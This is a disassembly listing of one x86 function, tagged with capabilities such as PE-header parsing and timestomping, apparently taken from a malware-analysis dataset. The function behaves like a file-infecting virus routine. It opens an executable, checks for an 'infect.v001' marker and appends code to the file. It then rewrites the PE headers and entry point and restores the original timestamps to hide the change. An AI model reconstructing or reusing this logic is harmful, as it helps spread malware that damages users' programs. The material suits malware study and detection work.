Function at 0x10008084
Capabilities:
Check if file exists
Get file attributes
Get file size
Parse pe header
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001274e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x134
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 9
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x100080f7
mov ecx, dword [ebp - 0x2c]
and ecx, 1
test ecx, ecx
je 0x100080f7
push 0x80
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x100080f7
mov eax, 0x10d
jmp 0x10008855
mov dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x10008144
mov dword [ebp - 0x11c], 0x100
push 0x10013978
lea ecx, [ebp - 0x11c]
push ecx
call fcn.1000db6a
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 8]
mov esi, dword [eax]
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x28], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
cmp dword [eax + 0x28], 0
jne 0x100081a6
mov dword [ebp - 0x120], 0x101
push 0x10013978
lea ecx, [ebp - 0x120]
push ecx
call fcn.1000db6a
mov byte [ebp - 0x68], 0
push 2
push 0xffffffffffffff80
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cffe
push 0x60
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cf9f
push 0x20
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x110]
push eax
call fcn.1000cf9f
push 0xc
push 0x100165e4
lea ecx, [ebp - 0xa8]
push ecx
call fcn.1000d240
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
push 0x6c
lea eax, [ebp - 0x108]
push eax
call fcn.10007345
add esp, 0xc
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x28]
push edx
call fcn.100072f7
add esp, 8
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.1000d610
add esp, 8
test eax, eax
jne 0x10008251
mov dword [ebp - 0x124], 0x106
push 0x10013978
lea edx, [ebp - 0x124]
push edx
call fcn.1000db6a
push 0
push 0
mov eax, dword [ebp - 0x110]
push eax
call fcn.1000cffe
push 0x40
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x134]
push edx
mov eax, dword [ebp - 0x110]
push eax
call fcn.1000cf9f
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x134]
mov eax, dword [edx + 0x3c]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cffe
push 0xf8
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cf9f
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x134]
mov ecx, dword [eax + 0x3c]
add ecx, 0xf8
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x134]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x100082f5
mov dword [ebp - 0x128], 0x102
push 0x10013978
lea edx, [ebp - 0x128]
push edx
call fcn.1000db6a
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x138]
cmp dword [ecx], 0x4550
je 0x10008321
mov dword [ebp - 0x12c], 0x103
push 0x10013978
lea edx, [ebp - 0x12c]
push edx
call fcn.1000db6a
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x138]
xor edx, edx
mov dx, word [ecx + 6]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x64], 0
jmp 0x10008345
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
cmp ecx, dword [ebp - 0x14]
jge 0x10008385
push 0
mov edx, dword [ebp - 0x64]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x38]
add eax, edx
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cffe
push 0x28
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx*4 + 0x13c]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cf9f
jmp 0x1000833c
mov dword [ebp - 0x64], 0
jmp 0x10008397
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xd
jge 0x100083af
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x64]
mov dword [edx + eax*4 + 0x2c], 0
jmp 0x1000838e
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x138]
mov eax, dword [edx + 0x80]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x64], 0
jmp 0x100083d3
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x14]
jge 0x10008486
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x13c]
mov eax, dword [ebp - 0x18]
sub eax, dword [edx + 0xc]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10008481
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx*4 + 0x13c]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [eax + 8]
jae 0x10008481
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx*4 + 0x13c]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov edx, dword [eax + edx*4 + 0x13c]
mov eax, dword [edx + 0x14]
sub eax, dword [ecx + 0xc]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10008868
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x1000847f
mov dword [ebp - 0x130], 0x104
push 0x10013978
lea edx, [ebp - 0x130]
push edx
call fcn.1000db6a
jmp 0x10008486
jmp 0x100083ca
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 0x1c], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp + 0x10]
mov dword [ecx + 0x14], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
mov edx, dword [eax + 0x34]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
mov edx, dword [eax + 0x28]
mov dword [ecx + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x128]
mov dword [ecx + 0x14], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + 4]
mov dword [edx], eax
mov dword [ebp - 0x64], 0
jmp 0x100084f9
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x14]
jge 0x100085f8
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x13c]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ecx + 4]
sub eax, dword [edx + 0xc]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x100085f3
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx*4 + 0x13c]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [eax + 8]
jae 0x100085f3
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx*4 + 0x13c]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov edx, dword [eax + edx*4 + 0x13c]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub eax, dword [edx + 0xc]
mov edx, dword [ebp + 8]
add eax, dword [edx + 0x128]
cmp dword [ecx + 0x10], eax
jae 0x10008591
mov dword [ebp - 0x134], 0x107
push 0x10013978
lea eax, [ebp - 0x134]
push eax
call fcn.1000db6a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4 + 0x13c]
mov ecx, dword [eax + 0xc]
mov dword [edx + 0xc], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp + 8]
mov ecx, dword [edx + ecx*4 + 0x13c]
mov edx, dword [ecx + 8]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp + 8]
mov edx, dword [eax + edx*4 + 0x13c]
mov eax, dword [ebp - 0x64]
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x13c]
mov esi, dword [ebp + 8]
mov esi, dword [esi]
mov esi, dword [esi + 4]
sub esi, dword [eax + 0xc]
add esi, dword [edx + 0x14]
mov dword [ecx + 8], esi
jmp 0x100085f8
jmp 0x100084f0
cmp dword [ebp + 0x10], 0
jne 0x10008665
push 2
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cffe
mov dword [ebp - 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov ecx, dword [ebp - 0x140]
mov dword [eax], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1000788b
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 9
je 0x10008665
mov dword [ebp - 0x138], 0x105
push 0x10013978
lea ecx, [ebp - 0x138]
push ecx
call fcn.1000db6a
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cffe
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x128]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x118]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cf9f
mov edx, dword [ebp + 8]
mov esi, dword [edx]
push 2
push 0
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esi + 0x18], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x128]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x118]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cf40
mov eax, dword [ebp + 8]
mov esi, dword [eax + 4]
push 2
push 0
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esi + 8], eax
push 0x60
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cf40
push 0x60
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.1000d240
add esp, 0xc
push 0xc
push str.infect.v001
lea edx, [ebp - 0xa8]
push edx
call fcn.1000d240
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push 0x6c
lea ecx, [ebp - 0x108]
push ecx
call fcn.10007345
add esp, 0xc
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.100072f7
add esp, 8
push 0x20
lea ecx, [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cf40
push 0x18
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x11c]
push eax
call fcn.1000d240
add esp, 0xc
push 0x40
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x11c]
add ecx, 0x18
push ecx
call fcn.1000d240
add esp, 0xc
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call fcn.1000cffe
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x128]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x114]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.1000cf40
jmp 0x100087f5
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], 0
je 0x10008824
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x9c]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2c], 0xffffffff
je 0x1000884f
mov edx, dword [ebp - 0x2c]
and edx, 1
test edx, edx
je 0x1000884f
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc